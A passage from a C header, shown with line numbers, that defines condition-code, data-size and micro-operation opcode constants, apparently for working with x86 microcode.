0x100UL 166 | #define _CONDB 0x200UL 167 | #define _CONDNB 0x300UL 168 | #define _CONDZ 0x001UL 169 | #define _CONDNZ 0x101UL 170 | #define _CONDBE 0x201UL 171 | #define _CONDNBE 0x301UL 172 | #define _CONDS 0x002UL 173 | #define _CONDNS 0x102UL 174 | #define _CONDP 0x202UL 175 | #define _CONDNP 0x302UL 176 | #define _CONDL 0x003UL 177 | #define _CONDNL 0x103UL 178 | #define _CONDLE 0x203UL 179 | #define _CONDNLE 0x303UL 180 | 181 | #define _DSZ32 0x000UL 182 | #define _DSZ64 0x040UL 183 | #define _DSZ16 0x080UL 184 | #define _DSZ8 0x0c0UL 185 | 186 | // opcodes 187 | #define NOP (0x0) 188 | 189 | #define _ADD_DSZ32 (0x000UL << 32) 190 | #define _OR_DSZ32 (0x001UL << 32) 191 | #define _AND_DSZ32 (0x004UL << 32) 192 | #define _SUB_DSZ32 (0x005UL << 32) 193 | #define _XOR_DSZ32 (0x006UL << 32) 194 | #define _NOTAND_DSZ32 (0x007UL << 32) 195 | #define _ZEROEXT_DSZ32 (0x008UL << 32) 196 | #define _MOVE_DSZ32 (0x009UL << 32) 197 | /* #define _TESTUSTATE (0x04aUL << 32) */ 198 | #define _TESTUSTATE (0x00aUL << 32) 199 | #define _UPDATEUSTATE (0x00bUL << 32) 200 | #define _SAVEUIP (0x00cUL << 32) 201 | #define _SAVEUIP_REGOVR (0x00dUL << 32) 202 | #define _WRMSLOOPCTRFBR (0x00eUL << 32) 203 | #define _BT_DSZ32 (0x014UL << 32) 204 | #define _BTS_DSZ32 (0x015UL << 32) 205 | #define _BTR_DSZ32 (0x016UL << 32) 206 | #define _BTC_DSZ32 (0x017UL << 32) 207 | #define _MJMPTARGET_INDIRECT_ASZ32 (0x01eUL << 32) 208 | #define _CONCAT_DSZ32 (0x021UL << 32) 209 | #define _SHL_DSZ32 (0x024UL << 32) 210 | #define _SHR_DSZ32 (0x025UL << 32) 211 | #define _MOVSX_SSZ32_DSZ64 (0x02aUL << 32) 212 | #define _ROL_DSZ32 (0x02cUL << 32) 213 | #define _ROR_DSZ32 (0x02dUL << 32) 214 | #define _SAR_DSZ32 (0x02eUL << 32) 215 | #define _SELECTCC_DSZ32_CONDO (0x030UL << 32) 216 | #define _SELECTCC_DSZ32_CONDNO (0x031UL << 32) 217 | #define _SELECTCC_DSZ32_CONDB (0x032UL << 32) 218 | #define _SELECTCC_DSZ32_CONDNB (0x033UL << 32) 219 | #define _CMOVCC_DSZ32_CONDO (0x034UL << 32) 220 | #define _CMOVCC_DSZ32_CONDNO (0x035UL << 32) 221 | #define _CMOVCC_DSZ32_CONDB (0x036UL << 32) 222 | #define _CMOVCC_DSZ32_CONDNB (0x037UL << 32) 223 | #define _MOVEINSERTFLGS_DSZ32 (0x03dUL << 32) 224 | #define _ADD_DSZ64 (0x040UL << 32) 225 | #define _OR_DSZ64 (0x041UL << 32) 226 | #define _MOVETOCREG_DSZ64 (0x042UL << 32) 227 | #define _WRITEURAM (0x043UL << 32) 228 | #define _AND_DSZ64 (0x044UL << 32) 229 | #define _SUB_DSZ64 (0x045UL << 32) 230 | #define _XOR_DSZ64 (0x046UL << 32) 231 | #define _NOTAND_DSZ64 (0x047UL << 32) 232 | #define _ZEROEXT_DSZ64 (0x048UL << 32) 233 | #define _MOVE_DSZ64 (0x049UL << 32) 234 | /* #define _TESTUSTATE (0x04aUL << 32) */ 235 | /* #define _SAVEUIP (0x04cUL << 32) */ 236 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDO (0x050UL << 32) 237 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNO (0x051UL << 32) 238 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDB (0x052UL << 32) 239 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNB (0x053UL << 32) 240 | #define _BT_DSZ64 (0x054UL << 32) 241 | #define _BTS_DSZ64 (0x055UL << 32) 242 | #define _BTR_DSZ64 (0x056UL << 32) 243 | #define _BTC_DSZ64 (0x057UL << 32) 244 | #define _MJMPCC_DSZNOP_CONDO (0x058UL << 32) 245 | #define _MJMPCC_DSZNOP_CONDNO (0x059UL << 32) 246 | #define _MJMPCC_DSZNOP_CONDB (0x05aUL << 32) 247 | #define _MJMPCC_DSZNOP_CONDNB (0x05bUL << 32) 248 | #define _MJMPTARGET_INDIRECT_ASZ64 (0x05cUL << 32) 249 | /* #define _MJMPTARGET_INDIRECT_ASZ64 (0x05eUL << 32) */ 250 | #define _MOVEFROMCREG_DSZ64 (0x062UL << 32) 251 | #define _READURAM (0x063UL << 32) 252 | #define _SHL_DSZ64 (0x064UL << 32) 253 | #define _SHR_DSZ64 (0x065UL << 32) 254 | #define _ROL_DSZ64 (0x06cUL << 32) 255 | #define _ROR_DSZ64 (0x06dUL << 32) 256 | #define _SAR_DSZ64 (0x06eUL << 32) 257 | #define _SELECTCC_DSZ64_CONDO (0x070UL << 32) 258 | #define _SELECTCC_DSZ64_CONDNO (0x071UL << 32) 259 | #define _SELECTCC_DSZ64_CONDB (0x072UL << 32) 260 | #define _SELECTCC_DSZ64_CONDNB (0x073UL << 32) 261 | #define _CMOVCC_DSZ64_CONDO (0x074UL << 32) 262 | #define _CMOVCC_DSZ64_CONDNO (0x075UL << 32) 263 | #define _CMOVCC_DSZ64_CONDB (0x076UL << 32) 264 | #define _CMOVCC_DSZ64_CONDNB (0x077UL << 32) 265 | #define _MOVEINSERTFLGS_DSZ64 (0x07dUL << 32) 266 | #define _ADD_DSZ16 (0x080UL << 32) 267 | #define _OR_DSZ16 (0x081UL << 32) 268 | #define _AND_DSZ16 (0x084UL << 32) 269 | #define _SUB_DSZ16 (0x085UL << 32) 270 | #define _XOR_DSZ16 (0x086UL << 32) 271 | #define _NOTAND_DSZ16 (0x087UL << 32) 272 | #define _ZEROEXT_DSZ16 (0x088UL << 32) 273 | /* #define _SAVEUIP (0x08cUL << 32) */ 274 | #define _BT_DSZ16 (0x094UL << 32) 275 | #define _BTS_DSZ16 (0x095UL << 32) 276 | #define _BTR_DSZ16 (0x096UL << 32) 277 | #define _BTC_DSZ16 (0x097UL << 32) 278 | #define _CONCAT_DSZ16 (0x0a1UL << 32) 279 | #define _SHL_DSZ16 (0x0a4UL << 32) 280 | #define _SHR_DSZ16 (0x0a5UL << 32) 281 | #define _MOVSX_DSZ16 (0x0a8UL << 32) 282 | #define _MOVZX_DSZ16 (0x0a9UL << 32) 283 | #define _ROL_DSZ16 (0x0acUL << 32) 284 | #define _ROR_DSZ16 (0x0adUL << 32) 285 | #define _SAR_DSZ16 (0x0aeUL << 32) 286 | #define _CMOVCC_DSZ16_CONDO (0x0b4UL << 32) 287 | #define _CMOVCC_DSZ16_CONDNO (0x0b5UL << 32) 288 | #define _CMOVCC_DSZ16_CONDB (0x0b6UL << 32) 289 | #define _CMOVCC_DSZ16_CONDNB (0x0b7UL << 32) 290 | #define _ADD_DSZ8 (0x0c0UL << 32) 291 | #define _OR_DSZ8 (0x0c1UL << 32) 292 | #define _AND_DSZ8 (0x0c4UL << 32) 293 | #define _SUB_DSZ8 (0x0c5UL << 32) 294 | #define _XOR_DSZ8 (0x0c6UL << 32) 295 | #define _NOTAND_DSZ8 (0x0c7UL << 32) 296 | #define _ZEROEXT_DSZ8 (0x0c8UL << 32) 297 | /* #define _SAVEUIP (0x0ccUL << 32) */ 298 | #define _NEG_DSZ8 (0x0e0UL << 32) 299 | #define _CONCAT_DSZ8 (0x0e1UL << 32) 300 | #define _SHL_DSZ8 (0x0e4UL << 32) 301 | #define _SHR_DSZ8 (0x0e5UL << 32) 302 | #define _MOVSX_DSZ8 (0x0e8UL << 32) 303 | #define _MOVZX_DSZ8 (0x0e9UL << 32) 304 | #define _ROL_DSZ8 (0x0ecUL << 32) 305 | #define _ROR_DSZ8 (0x0edUL << 32) 306 | #define _SAR_DSZ8 (0x0eeUL << 32) 307 | #define _CMOVCC_DSZ8_CONDO (0x0f4UL << 32) 308 | #define _CMOVCC_DSZ8_CONDNO (0x0f5UL << 32) 309 | #define _CMOVCC_DSZ8_CONDB (0x0f6UL << 32) 310 | #define _CMOVCC_DSZ8_CONDNB (0x0f7UL << 32) 311 | #define _SETCC_CONDO (0x0f8UL << 32) 312 | #define _SETCC_CONDNO (0x0f9UL << 32) 313 | #define _SETCC_CONDB (0x0faUL << 32) 314 | #define _SETCC_CONDNB (0x0fbUL << 32) 315 | #define _READUIP_REGOVR (0x108UL << 32) 316 | #define _SUBR_DSZ32 (0x120UL << 32) 317 | #define _RCXBTCNTMSK_DSZ32 (0x122UL << 32) 318 | #define _SELECTCC_DSZ32_CONDZ (0x130UL << 32) 319 | #define _SELECTCC_DSZ32_CONDNZ (0x131UL << 32) 320 | #define _SELECTCC_DSZ32_CONDBE (0x132UL << 32) 321 | #define _SELECTCC_DSZ32_CONDNBE (0x133UL << 32) 322 | #define _CMOVCC_DSZ32_CONDZ (0x134UL << 32) 323 | #define _CMOVCC_DSZ32_CONDNZ (0x135UL << 32) 324 | #define _CMOVCC_DSZ32_CONDBE (0x136UL << 32) 325 | #define _CMOVCC_DSZ32_CONDNBE (0x137UL << 32) 326 | #define _MOVEMERGEFLGS_DSZ32 (0x13eUL << 32) 327 | #define _UFLOWCTRL (0x142UL << 32) 328 | #define _AETTRACE (0x143UL << 32) 329 | #define _URET (0x148UL << 32) 330 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDZ (0x150UL << 32) 331 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNZ (0x151UL << 32) 332 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDBE (0x152UL << 32) 333 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNBE (0x153UL << 32) 334 | #define _MJMPCC_DSZNOP_CONDZ (0x158UL << 32) 335 | #define _MJMPCC_DSZNOP_CONDNZ (0x159UL << 32) 336 | #define _MJMPCC_DSZNOP_CONDBE (0x15aUL << 32) 337 | #define _MJMPCC_DSZNOP_CONDNBE (0x15bUL << 32) 338 | #define _UJMP (0x15dUL << 32) 339 | #define _UJMPCC_DIRECT_TAKEN_CONDZ (0x15fUL << 32) 340 | #define _SUBR_DSZ64 (0x160UL << 32) 341 | #define _RCXBTCNTMSK_DSZ64 (0x162UL << 32) 342 | #define _SELECTCC_DSZ64_CONDZ (0x170UL << 32) 343 | #define _SELECTCC_DSZ64_CONDNZ (0x171UL << 32) 344 | #define _SELECTCC_DSZ64_CONDBE (0x172UL << 32) 345 | #define _SELECTCC_DSZ64_CONDNBE (0x173UL << 32) 346 | #define _CMOVCC_DSZ64_CONDZ (0x174UL << 32) 347 | #define _CMOVCC_DSZ64_CONDNZ (0x175UL << 32) 348 | #define _CMOVCC_DSZ64_CONDBE (0x176UL << 32) 349 | #define _CMOVCC_DSZ64_CONDNBE (0x177UL << 32) 350 | #define _MOVEMERGEFLGS_DSZ64 (0x17eUL << 32) 351 | #define _ADDSUB_DSZ16_CONDD (0x189UL << 32) 352 | #define _SUBR_DSZ16 (0x1a0UL << 32) 353 | #define _RCXBTCNTMSK_DSZ16 (0x1a2UL << 32) 354 | #define _CMOVCC_DSZ16_CONDZ (0x1b4UL << 32) 355 | #define _CMOVCC_DSZ16_CONDNZ (0x1b5UL << 32) 356 | #define _CMOVCC_DSZ16_CONDBE (0x1b6UL << 32) 357 | #define _CMOVCC_DSZ16_CONDNBE (0x1b7UL << 32) 358 | #define _SAHF (0x1bfUL << 32) 359 | #define _SUBR_DSZ8 (0x1e0UL << 32) 360 | #define _RCXBTCNTMSK_DSZ8 (0x1e2UL << 32) 361 | #define _CMOVCC_DSZ8_CONDZ (0x1f4UL << 32) 362 | #define _CMOVCC_DSZ8_CONDNZ (0x1f5UL << 32) 363 | #define _CMOVCC_DSZ8_CONDBE (0x1f6UL << 32) 364 | #define _CMOVCC_DSZ8_CONDNBE (0x1f7UL << 32) 365 | #define _SETCC_CONDZ (0x1f8UL << 32) 366 | #define _SETCC_CONDNZ (0x1f9UL << 32) 367 | #define _SETCC_CONDBE (0x1faUL << 32) 368 | #define _SETCC_CONDNBE (0x1fbUL << 32) 369 | #define _PSELECT_CPL0 (0x202UL << 32) 370 | #define _FETCHFROMEIP0_ASZ32 (0x214UL << 32) 371 | #define _FETCHFROMEIP1_ASZ32 (0x215UL << 32) 372 | #define _SIGEVENT (0x21eUL << 32) 373 | #define _IMUL32L_DSZ32 (0x225UL << 32) 374 | #define _MSR2CR (0x228UL << 32) 375 | #define _MUL_DSZ32 (0x22cUL << 32) 376 | #define _IMUL_DSZ32 (0x22dUL << 32) 377 | #define _SELECTCC_DSZ32_CONDS (0x230UL << 32) 378 | #define _SELECTCC_DSZ32_CONDNS (0x231UL << 32) 379 | #define _SELECTCC_DSZ32_CONDP (0x232UL << 32) 380 | #define _SELECTCC_DSZ32_CONDNP (0x233UL << 32) 381 | #define _CMOVCC_DSZ32_CONDS (0x234UL << 32) 382 | #define _CMOVCC_DSZ32_CONDNS (0x235UL << 32) 383 | #define _CMOVCC_DSZ32_CONDP (0x236UL << 32) 384 | #define _CMOVCC_DSZ32_CONDNP (0x237UL << 32) 385 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDS (0x250UL << 32) 386 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNS (0x251UL << 32) 387 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDP (0x252UL << 32) 388 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNP (0x253UL << 32) 389 | #define _FETCHFROMEIP0_ASZ64 (0x254UL << 32) 390 | #define _FETCHFROMEIP1_ASZ64 (0x255UL << 32) 391 | #define _MJMPCC_DSZNOP_CONDS (0x258UL << 32) 392 | #define _MJMPCC_DSZNOP_CONDNS (0x259UL << 32) 393 | #define _MJMPCC_DSZNOP_CONDP (0x25aUL << 32) 394 | #define _MJMPCC_DSZNOP_CONDNP (0x25bUL << 32) 395 | #define _TEST_DSZ64 (0x25dUL << 32) 396 | #define _IMUL64L_DSZ64 (0x264UL << 32) 397 | #define _RDVMCSPLA (0x269UL << 32) 398 | #define _SELECTCC_DSZ64_CONDS (0x270UL << 32) 399 | #define _SELECTCC_DSZ64_CONDNS (0x271UL << 32) 400 | #define _SELECTCC_DSZ64_CONDP (0x272UL << 32) 401 | #define _SELECTCC_DSZ64_CONDNP (0x273UL << 32) 402 | #define _CMOVCC_DSZ64_CONDS (0x274UL << 32) 403 | #define _CMOVCC_DSZ64_CONDNS (0x275UL << 32) 404 | #define _CMOVCC_DSZ64_CONDP (0x276UL << 32) 405 | #define _CMOVCC_DSZ64_CONDNP (0x277UL << 32) 406 | #define _CMOVCC_DSZ16_CONDS (0x2b4UL << 32) 407 | #define _CMOVCC_DSZ16_CONDNS (0x2b5UL << 32) 408 | #define _CMOVCC_DSZ16_CONDP (0x2b6UL << 32) 409 | #define _CMOVCC_DSZ16_CONDNP (0x2b7UL << 32) 410 | #define _CMOVCC_DSZ8_CONDS (0x2f4UL << 32) 411 | #define _CMOVCC_DSZ8_CONDNS (0x2f5UL << 32) 412 | #define _CMOVCC_DSZ8_CONDP (0x2f6UL << 32) 413 | #define _CMOVCC_DSZ8_CONDNP (0x2f7UL << 32) 414 | #define _SETCC_CONDS (0x2f8UL << 32) 415 | #define _SETCC_CONDNS (0x2f9UL << 32) 416 | #define _SETCC_CONDP (0x2faUL << 32) 417 | #define _SETCC_CONDNP (0x2fbUL << 32) 418 | #define _RCL_DSZ32 (0x32eUL << 32) 419 | #define _SELECTCC_DSZ32_CONDL (0x330UL << 32) 420 | #define _SELECTCC_DSZ32_CONDNL (0x331UL << 32) 421 | #define _SELECTCC_DSZ32_CONDLE (0x332UL << 32) 422 | #define _SELECTCC_DSZ32_CONDNLE (0x333UL << 32) 423 | #define _CMOVCC_DSZ32_CONDL (0x334UL << 32) 424 | #define _CMOVCC_DSZ32_CONDNL (0x335UL << 32) 425 | #define _CMOVCC_DSZ32_CONDLE (0x336UL << 32) 426 | #define _CMOVCC_DSZ32_CONDNLE (0x337UL << 32) 427 | #define _CLC (0x338UL << 32) 428 | #define _CMC (0x339UL << 32) 429 | #define _STC (0x33aUL << 32) 430 | #define _BSWAP_DSZ32 (0x33cUL << 32) 431 | #define _ADC (0x33eUL << 32) 432 | #define _SBB (0x33fUL << 32) 433 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDL (0x350UL << 32) 434 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNL (0x351UL << 32) 435 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDLE (0x352UL << 32) 436 | #define _UJMPCC_DIRECT_NOTTAKEN_CONDNLE (0x353UL << 32) 437 | #define _MJMPCC_DSZNOP_CONDL (0x358UL << 32) 438 | #define _MJMPCC_DSZNOP_CONDNL (0x359UL << 32) 439 | #define _MJMPCC_DSZNOP_CONDLE (0x35aUL << 32) 440 | #define _MJMPCC_DSZNOP_CONDNLE (0x35bUL << 32) 441 | #define _SELECTCC_DSZ64_CONDL (0x370UL << 32) 442 | #define _SELECTCC_DSZ64_CONDNL (0x371UL << 32) 443 | #define _SELECTCC_DSZ64_CONDLE (0x372UL << 32) 444 | #define _SELECTCC_DSZ64_CONDNLE (0x373UL << 32) 445 | #define _CMOVCC_DSZ64_CONDL (0x374UL << 32) 446 | #define _CMOVCC_DSZ64_CONDNL (0x375UL << 32) 447 | #define _CMOVCC_DSZ64_CONDLE (0x376UL << 32) 448 | #define _CMOVCC_DSZ64_CONDNLE (0x377UL << 32) 449 | #define _GENARITHFLAGS (0x37dUL << 32) 450 | #define _READAFLAGS (0x380UL << 32) 451 | #define _RCL_DSZ16 (0x3aeUL << 32) 452 | #define _CMOVCC_DSZ16_CONDL (0x3b4UL << 32) 453 | #define _CMOVCC_DSZ16_CONDNL (0x3b5UL << 32) 454 | #define _CMOVCC_DSZ16_CONDLE (0x3b6UL << 32) 455 | #define _CMOVCC_DSZ16_CONDNLE (0x3b7UL << 32) 456 | #define _LAHF (0x3c0UL << 32) 457 | #define _INC_DSZ8 (0x3c8UL << 32) 458 | #define _DEC_DSZ8 (0x3caUL << 32) 459 | #define _RCL_DSZ8 (0x3eeUL << 32) 460 | #define _CMOVCC_DSZ8_CONDL (0x3f4UL << 32) 461 | #define _CMOVCC_DSZ8_CONDNL (0x3f5UL << 32) 462 | #define _CMOVCC_DSZ8_CONDLE (0x3f6UL << 32) 463 | #define _CMOVCC_DSZ8_CONDNLE (0x3f7UL << 32) 464 | #define _SETCC_CONDL (0x3f8UL << 32) 465 | #define _SETCC_CONDNL (0x3f9UL << 32) 466 | #define _SETCC_CONDLE (0x3faUL << 32) 467 | #define _SETCC_CONDNLE (0x3fbUL << 32) 468 | /* #define _ADC (0x3feUL << 32) */ 469 | /* #define _SBB (0x3ffUL << 32) */ 470 | #define _PSUBSB (0x440UL << 32) 471 | #define _PSUBSW (0x441UL << 32) 472 | #define _PMINSW (0x442UL << 32) 473 | #define _POR (0x443UL << 32) 474 | #define _PADDSB (0x444UL << 32) 475 | #define _PADDSW (0x445UL << 32) 476 | #define _PMAXSW (0x446UL << 32) 477 | #define _PXOR (0x447UL << 32) 478 | #define _PSUBB (0x448UL << 32) 479 | #define _PSUBW (0x449UL << 32) 480 | #define _PSUBD (0x44aUL << 32) 481 | #define _PADDB (0x44cUL << 32) 482 | #define _PADDW (0x44dUL << 32) 483 | #define _PADDD (0x44eUL << 32) 484 | #define _PCMPGTB (0x450UL << 32) 485 | #define _PCMPGTW (0x451UL << 32) 486 | #define _PCMPGTD (0x452UL << 32) 487 | #define _PALIGNR (0x457UL << 32) 488 | #define _PCMPEQW (0x458UL << 32) 489 | #define _PCMPEQB (0x459UL << 32) 490 | #define _PCMPEQD (0x45aUL << 32) 491 | #define _PADDQ (0x45bUL << 32) 492 | #define _PSUBQ (0x45fUL << 32) 493 | #define _PSUBUSB (0x460UL << 32) 494 | #define _PSUBUSW (0x461UL << 32) 495 | #define _PMINUB (0x462UL << 32) 496 | #define _PAND (0x463UL << 32) 497 | #define _PADDUSB (0x464UL << 32) 498 | #define _PADDUSW (0x465UL << 32) 499 | #define _PMAXUB (0x466UL << 32) 500 | #define _PANDN (0x467UL << 32) 501 | #define _PAVGB (0x468UL << 32) 502 | #define _PAVGW (0x46bUL << 32) 503 | #define _MOVLPD (0x470UL << 32) 504 | #define _MOVHPD (0x471UL << 32) 505 | #define _MOVDQU (0x472UL << 32) 506 | #define _FMOV (0x4b4UL << 32) 507 | #define _ORPD (0x4c3UL << 32) 508 | #define _XORPD (0x4c7UL << 32) 509 | #define _ANDPD (0x4e3UL << 32) 510 | #define _ANDNPD (0x4e7UL << 32) 511 | #define _MOVHLPS (0x4efUL << 32) 512 | #define _PUNPCKLDQ (0x508UL << 32) 513 | #define _PSRLQ (0x50aUL << 32) 514 | #define _PSLLQ (0x50eUL << 32) 515 | #define _CVTPD2PI (0x514UL << 32) 516 | #define _PUNPCKHDQ (0x518UL << 32) 517 | /* #define _PSRLQ (0x51aUL << 32) */ 518 | #define _PACKSSDW (0x51dUL << 32) 519 | /* #define _PSLLQ (0x51eUL << 32) */ 520 | #define _UNPCKHPD (0x528UL << 32) 521 | #define _UNPCKLPD (0x529UL << 32) 522 | #define _PMADDWD (0x556UL << 32) 523 | #define _PSADBW (0x557UL << 32) 524 | #define _CVTPD2PS (0x571UL << 32) 525 | #define _PUNPCKLWD (0x588UL << 32) 526 | #define _PSRLD (0x58aUL << 32) 527 | #define _PSRAD (0x58cUL << 32) 528 | #define _PSLLD (0x58eUL << 32) 529 | #define _CVTTPD2PI (0x594UL << 32) 530 | #define _PUNPCKHWD (0x598UL << 32) 531 | /* #define _PSRLD (0x59aUL << 32) */ 532 | #define _PSHUFD (0x59bUL << 32) 533 | /* #define _PSRAD (0x59cUL << 32) */ 534 | #define _PACKSSWB (0x59dUL << 32) 535 | /* #define _PSLLD (0x59eUL << 32) */ 536 | #define _PACKUSWB (0x59fUL << 32) 537 | #define _PUNPCKLBW (0x5c8UL << 32) 538 | #define _PSRLW (0x5caUL << 32) 539 | #define _PSRAW (0x5ccUL << 32) 540 | #define _PSLLW (0x5ceUL << 32) 541 | #define _PUNPCKHBW (0x5d8UL << 32) 542 | /* #define _PSRLW (0x5daUL << 32) */ 543 | /* #define _PSRAW (0x5dcUL << 32) */ 544 | /* #define _PSLLW (0x5deUL << 32) */ 545 | #define _CVTDQ2PS (0x5f3UL << 32) 546 | #define _CVTPI2PD (0x5f5UL << 32) 547 | #define _MOVUSS (0x539UL << 32) 548 | #define _SHUFSS (0x53aUL << 32) 549 | #define _MOVUSD (0x579UL << 32) 550 | #define _SHUFSD (0x57aUL << 32) 551 | #define _MOVUPD (0x5b9UL << 32) 552 | #define _SHUFPD (0x5baUL << 32) 553 | #define _MOVUPS (0x5f9UL << 32) 554 | #define _SHUFPS (0x5faUL << 32) 555 | #define _FADDP (0x608UL << 32) 556 | #define _FDIV (0x646UL << 32) 557 | #define _PMULUDQ (0x650UL << 32) 558 | #define _PMULHUW (0x652UL << 32) 559 | #define _PMULLW (0x654UL << 32) 560 | #define _PMULHW (0x655UL << 32) 561 | #define _FILD (0x685UL << 32) 562 | #define _FCOM2 (0x68aUL << 32) 563 | #define _MULSS (0x631UL << 32) 564 | #define _SQRTSS (0x635UL << 32) 565 | #define _DIVSS (0x636UL << 32) 566 | #define _ADDSS (0x638UL << 32) 567 | #define _SUBSS (0x63cUL << 32) 568 | #define _MINSS (0x63dUL << 32) 569 | #define _CMPSS (0x63eUL << 32) 570 | #define _MAXSS (0x63fUL << 32) 571 | #define _SQRTSD (0x675UL << 32) 572 | #define _DIVSD (0x676UL << 32) 573 | #define _ADDSD (0x678UL << 32) 574 | #define _SUBSD (0x67cUL << 32) 575 | #define _MINSD (0x67dUL << 32) 576 | #define _CMPSD (0x67eUL << 32) 577 | #define _MAXSD (0x67fUL << 32) 578 | #define _MULPD (0x6b1UL << 32) 579 | #define _SQRTPD (0x6b5UL << 32) 580 | #define _DIVPD (0x6b6UL << 32) 581 | #define _ADDPD (0x6b8UL << 32) 582 | #define _SUBPD (0x6bcUL << 32) 583 | #define _MINPD (0x6bdUL << 32) 584 | #define _CMPPD (0x6beUL << 32) 585 | #define _MAXPD (0x6bfUL << 32) 586 | #define _MULPS (0x6f1UL << 32) 587 | #define _SQRTPS (0x6f5UL << 32) 588 | #define _DIVPS (0x6f6UL << 32) 589 | #define _ADDPS (0x6f8UL << 32) 590 | #define _SUBPS (0x6fcUL << 32) 591 | #define _MINPS (0x6fdUL << 32) 592 | #define _CMPPS (0x6feUL << 32) 593 | #define _MAXPS (0x6ffUL << 32) 594 | #define _PINTMOVDI2MM_DSZ32 (0x705UL << 32) 595 | #define _FPREADROM_DTYPENOP (0x716UL << 32) 596 | #define _FCOMIP (0x720UL << 32) 597 | #define _COMISD (0x722UL << 32) 598 | #define _UCOMISD (0x723UL << 32) 599 | #define _PINTMOVDTMM2I_DSZ32 (0x72cUL << 32) 600 | #define _PINTMOVDMM2I_DSZ32 (0x72dUL << 32) 601 | #define _PINTMOVDI2MM_DSZ64 (0x745UL << 32) 602 | #define _PMOVMSKB (0x769UL << 32) 603 | #define _PINTMOVDTMM2I_DSZ64 (0x76cUL << 32) 604 | #define _PINTMOVDMM2I_DSZ64 (0x76dUL << 32) 605 | #define _PINSRW (0x785UL << 32) 606 | #define _PEXTRW (0x7adUL << 32) 607 | #define _RSQRTPS (0x7b8UL << 32) 608 | #define _FCMOVNE (0x7edUL << 32) 609 | #define _MOVMSKPD (0x7f8UL << 32) 610 | #define _LA2LIN_DSZ32 (0x81fUL << 32) 611 | #define _MOVETOCREG_AND_DSZ64 (0x822UL << 32) 612 | #define _BTUJB_DIRECT_NOTTAKEN (0x86aUL << 32) 613 | #define _BTUJNB_DIRECT_NOTTAKEN (0x86bUL << 32) 614 | #define _LA2LIN_DSZ64 (0x89fUL << 32) 615 | #define _MOVETOCREG_SHL_DSZ64 (0x8a2UL << 32) 616 | #define _MOVETOCREG_OR_DSZ64 (0x902UL << 32) 617 | #define _CMPUJZ_DIRECT_NOTTAKEN (0x928UL << 32) 618 | #define _CMPUJNZ_DIRECT_NOTTAKEN (0x929UL << 32) 619 | #define _MOVETOCREG_BTS_DSZ64 (0x962UL << 32) 620 | #define _MOVETOCREG_SHR_DSZ64 (0x9a2UL << 32) 621 | #define _SHLD (0x996UL << 32) 622 | #define _SHRD (0x997UL << 32) 623 | #define _MOVETOCREG_BTR_DSZ64 (0xa62UL << 32) 624 | #define _LDZX_DSZ32_ASZ32_SC1 (0xc00UL << 32) 625 | #define _LEA_DSZ32_ASZ32_SC1 (0xc03UL << 32) 626 | #define _STAD_DSZ32_ASZ32_SC1 (0xc08UL << 32) 627 | #define _STADTICKLE_DSZ32_ASZ32_SC1 (0xc09UL << 32) 628 | #define _LDTICKLE_DSZ32_ASZ32_SC1 (0xc0aUL << 32) 629 | #define _MOVNTPD (0xc0eUL << 32) 630 | /* #define _LDZX_DSZ32_ASZ32_SC1 (0xc10UL << 32) */ 631 | /* #define _LEA_DSZ32_ASZ32_SC1 (0xc13UL << 32) */ 632 | /* #define _STAD_DSZ32_ASZ32_SC1 (0xc18UL << 32) */ 633 | /* #define _STADTICKLE_DSZ32_ASZ32_SC1 (0xc19UL << 32) */ 634 | /* #define _LDTICKLE_DSZ32_ASZ32_SC1 (0xc1aUL << 32) */ 635 | /* #define _MOVHPD (0xc2eUL << 32) */ 636 | /* #define _LDZX_DSZ32_ASZ32_SC1 (0xc30UL << 32) */ 637 | /* #define _LEA_DSZ32_ASZ32_SC1 (0xc33UL << 32) */ 638 | /* #define _STAD_DSZ32_ASZ32_SC1 (0xc38UL << 32) */ 639 | /* #define _STADTICKLE_DSZ32_ASZ32_SC1 (0xc39UL << 32) */ 640 | /* #define _LDTICKLE_DSZ32_ASZ32_SC1 (0xc3aUL << 32) */ 641 | #define _LDZX_DSZ64_ASZ32_SC1 (0xc40UL << 32) 642 | #define _LEA_DSZ64_ASZ32_SC1 (0xc43UL << 32) 643 | #define _STAD_DSZ64_ASZ32_SC1 (0xc48UL << 32) 644 | #define _STADTICKLE_DSZ64_ASZ32_SC1 (0xc49UL << 32) 645 | #define _LDTICKLE_DSZ64_ASZ32_SC1 (0xc4aUL << 32) 646 | #define _RDSEGFLD (0xc4bUL << 32) 647 | /* #define _LDZX_DSZ64_ASZ32_SC1 (0xc50UL << 32) */ 648 | /* #define _LEA_DSZ64_ASZ32_SC1 (0xc53UL << 32) */ 649 | /* #define _STAD_DSZ64_ASZ32_SC1 (0xc58UL << 32) */ 650 | /* #define _STADTICKLE_DSZ64_ASZ32_SC1 (0xc59UL << 32) */ 651 | /* #define _LDTICKLE_DSZ64_ASZ32_SC1 (0xc5aUL << 32) */ 652 | /* #define _MOVLPD (0xc5eUL << 32) */ 653 | #define _WRSEGFLD (0xc6bUL << 32) 654 | #define _STAD_DSZ64_ASZ64_SC1 (0xc68UL << 32) 655 | /* #define _LDZX_DSZ64_ASZ32_SC1 (0xc70UL << 32) */ 656 | /* #define _LEA_DSZ64_ASZ32_SC1 (0xc73UL << 32) */ 657 | /* #define _STAD_DSZ64_ASZ64_SC8 (0xc78UL << 32) */ 658 | /* #define _STADTICKLE_DSZ64_ASZ32_SC1 (0xc79UL << 32) */ 659 | /* #define _LDTICKLE_DSZ64_ASZ32_SC1 (0xc7aUL << 32) */ 660 | /* #define _WRSEGFLD (0xc7bUL << 32) */ 661 | /* #define _LDZX_DSZ16_ASZ32_SC1 (0xc80UL << 32) */ 662 | #define _LEA_DSZ16_ASZ32_SC1 (0xc83UL << 32) 663 | #define _STAD_DSZ16_ASZ32_SC1 (0xc88UL << 32) 664 | #define _STADTICKLE_DSZ16_ASZ32_SC1 (0xc89UL << 32) 665 | #define 